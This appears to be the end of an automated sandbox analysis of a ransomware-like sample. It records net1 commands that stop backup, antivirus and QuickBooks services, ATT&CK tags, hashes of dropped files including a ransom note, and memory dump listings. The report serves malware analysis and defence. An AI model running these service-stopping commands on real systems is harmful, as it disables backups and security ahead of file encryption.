C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:5420

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:5412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:5404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:5396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:5388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:5380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:5372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpswbgtl.lnl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eryr1zgy.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
f1372d4ce0696a40dfb9aaf1822f0197

SHA1
e1d0f150a55e8086656802832e395b6bd06eae29

SHA256
aca510700033bfc43ac8f175f3bd06d866840c32e9402897e095bbcb97093d52

SHA512
8542d78d959b167655e8c5c71b1ec9ce0c2e1eba2132b56779eae2ee8ace55e3cb9214a8f1c204995c5b8a543e5db22d93b166003d7053c3661ab6682b5cec56

Download Submit
memory/1964-6-0x0000000006AD0000-0x0000000006B36000-memory.dmp

Filesize
408KB

Download
memory/1964-0-0x0000000000870000-0x000000000088C000-memory.dmp

Filesize
112KB

Download
memory/1964-2-0x00000000051F0000-0x0000000005200000-memory.dmp

Filesize
64KB

Download
memory/1964-204-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/1964-1-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4968-57-0x0000000002E40000-0x0000000002E50000-memory.dmp

Filesize
64KB

Download
memory/4968-75-0x0000000007960000-0x0000000007A03000-memory.dmp

Filesize
652KB

Download
memory/4968-10-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4968-21-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/4968-26-0x0000000006310000-0x0000000006664000-memory.dmp

Filesize
3.3MB

Download
memory/4968-15-0x0000000005780000-0x00000000057A2000-memory.dmp

Filesize
136KB

Download
memory/4968-30-0x0000000006760000-0x000000000677E000-memory.dmp

Filesize
120KB

Download
memory/4968-32-0x0000000006CA0000-0x0000000006CEC000-memory.dmp

Filesize
304KB

Download
memory/4968-12-0x0000000002E40000-0x0000000002E50000-memory.dmp

Filesize
64KB

Download
memory/4968-62-0x000000007F6E0000-0x000000007F6F0000-memory.dmp

Filesize
64KB

Download
memory/4968-64-0x000000006FC80000-0x000000006FCCC000-memory.dmp

Filesize
304KB

Download
memory/4968-74-0x0000000006D30000-0x0000000006D4E000-memory.dmp

Filesize
120KB

Download
memory/4968-63-0x0000000007920000-0x0000000007952000-memory.dmp

Filesize
200KB

Download
memory/4968-11-0x0000000002E40000-0x0000000002E50000-memory.dmp

Filesize
64KB

Download
memory/4968-77-0x00000000080B0000-0x000000000872A000-memory.dmp

Filesize
6.5MB

Download
memory/4968-78-0x0000000007A70000-0x0000000007A8A000-memory.dmp

Filesize
104KB

Download
memory/4968-81-0x0000000007AE0000-0x0000000007AEA000-memory.dmp

Filesize
40KB

Download
memory/4968-87-0x0000000007CF0000-0x0000000007D86000-memory.dmp

Filesize
600KB

Download
memory/4968-91-0x0000000007C70000-0x0000000007C81000-memory.dmp

Filesize
68KB

Download
memory/4968-100-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

Filesize
56KB

Download
memory/4968-103-0x0000000007CB0000-0x0000000007CC4000-memory.dmp

Filesize
80KB

Download
memory/4968-105-0x0000000007DB0000-0x0000000007DCA000-memory.dmp

Filesize
104KB

Download
memory/4968-108-0x0000000007D90000-0x0000000007D98000-memory.dmp

Filesize
32KB

Download
memory/4968-118-0x0000000074AD0000-0x0000000075280000-memory.dmp

Filesize
7.7MB

Download
memory/4968-13-0x0000000005A30000-0x0000000006058000-memory.dmp

Filesize
6.2MB

Download
memory/4968-7-0x0000000002E50000-0x0000000002E86000-memory.dmp

Filesize
216KB

Download